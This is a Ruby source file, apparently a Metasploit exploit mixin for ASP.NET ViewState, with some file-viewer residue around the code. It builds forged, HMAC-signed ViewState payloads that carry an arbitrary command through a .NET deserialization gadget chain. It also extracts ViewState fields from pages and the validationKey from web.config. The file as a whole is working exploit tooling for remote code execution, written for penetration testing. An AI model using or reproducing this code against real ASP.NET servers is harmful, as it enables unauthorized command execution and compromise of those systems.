106 lines
3.6 KiB
Ruby
106 lines
3.6 KiB
Ruby
# -*- coding: binary -*-
|
|
|
|
#
|
|
# This is a specific implementation of ASP.NET ViewState generation and decoding
|
|
#
|
|
# Microsoft resources:
|
|
# https://docs.microsoft.com/en-us/archive/msdn-magazine/2010/july/security-briefs-view-state-security
|
|
# https://github.com/microsoft/referencesource/blob/master/System.Web/UI/LOSFormatter.cs
|
|
# https://github.com/microsoft/referencesource/blob/master/System.Web/UI/ObjectStateFormatter.cs
|
|
# https://github.com/microsoft/referencesource/blob/master/System.Web/UI/Page.cs
|
|
#
|
|
# Mono resources:
|
|
# https://github.com/mono/mono/blob/master/mcs/class/System.Web/System.Web.UI/LosFormatter.cs
|
|
# https://github.com/mono/mono/blob/master/mcs/class/System.Web/System.Web.UI/ObjectStateFormatter.cs
|
|
# https://github.com/mono/mono/blob/master/mcs/class/System.Web/System.Web.Util/MachineKeySectionUtils.cs
|
|
#
|
|
# Other resources:
|
|
# https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/
|
|
# https://github.com/pwntester/ysoserial.net/blob/master/ysoserial/Plugins/ViewStatePlugin.cs
|
|
#
|
|
# Kudos to zeroSteiner for Msf::Util::DotNetDeserialization and the inspiration
|
|
#
|
|
|
|
module Msf
|
|
module Exploit::ViewState
|
|
|
|
def initialize(info = {})
|
|
super
|
|
|
|
register_advanced_options([
|
|
OptEnum.new(
|
|
'DotNetGadgetChain',
|
|
[
|
|
true,
|
|
'.NET gadget chain to use in ViewState',
|
|
:TextFormattingRunProperties,
|
|
Msf::Util::DotNetDeserialization.formatter_compatible_gadget_chains(:LosFormatter)
|
|
]
|
|
)
|
|
])
|
|
end
|
|
|
|
def generate_viewstate_payload(cmd, extra: '', algo: 'sha1', key: '')
|
|
serialized_payload = Msf::Util::DotNetDeserialization.generate(
|
|
cmd,
|
|
gadget_chain: datastore['DotNetGadgetChain'].to_sym,
|
|
formatter: :LosFormatter
|
|
)
|
|
|
|
generate_viewstate(serialized_payload, extra: extra, algo: algo, key: key)
|
|
end
|
|
|
|
def generate_viewstate(data, extra: '', algo: 'sha1', key: '')
|
|
Rex::Exploit::ViewState.generate_viewstate(data, extra: extra, algo: algo, key: key)
|
|
end
|
|
|
|
def generate_viewstate_hmac(data, algo: 'sha1', key: '')
|
|
Rex::Exploit::ViewState.generate_viewstate_hmac(data, algo: algo, key: key)
|
|
end
|
|
|
|
def decode_viewstate(encoded_viewstate, algo: 'sha1')
|
|
decoded = Rex::Exploit::ViewState.decode_viewstate(encoded_viewstate, algo: algo)
|
|
|
|
vprint_error('Could not parse ViewState data') unless decoded[:data].present?
|
|
vprint_error('Could not parse ViewState HMAC') unless decoded[:hmac].present?
|
|
decoded
|
|
rescue Rex::Exploit::ViewState::Error => error
|
|
vprint_error("#{error.class.name}: #{error.message}")
|
|
return { data: nil, hmac: nil }
|
|
end
|
|
|
|
def can_sign_viewstate?(encoded_viewstate, extra: '', algo: 'sha1', key: '')
|
|
Rex::Exploit::ViewState.can_sign_viewstate?(encoded_viewstate, extra: extra, algo: algo, key: key)
|
|
rescue Rex::Exploit::ViewState::Error => error
|
|
vprint_error("#{error.class.name}: #{error.message}")
|
|
return false
|
|
end
|
|
|
|
# Extract __VIEWSTATE from HTML
|
|
def extract_viewstate(html)
|
|
html.at('//input[@id = "__VIEWSTATE"]/@value')&.text
|
|
end
|
|
|
|
# Extract __VIEWSTATEGENERATOR from HTML
|
|
def extract_viewstate_generator(html)
|
|
html.at('//input[@id = "__VIEWSTATEGENERATOR"]/@value')&.text
|
|
end
|
|
|
|
# Extract validationKey from web.config
|
|
def extract_viewstate_validation_key(web_config)
|
|
web_config.at('//machineKey/@validationKey')&.text
|
|
end
|
|
|
|
# Convenience method to convert __VIEWSTATEGENERATOR to binary
|
|
def pack_viewstate_generator(hex_generator)
|
|
[hex_generator.to_i(16)].pack('V')
|
|
end
|
|
|
|
# Convenience method to convert validationKey to binary
|
|
def pack_viewstate_validation_key(hex_key)
|
|
[hex_key].pack('H*')
|
|
end
|
|
|
|
end
|
|
end
|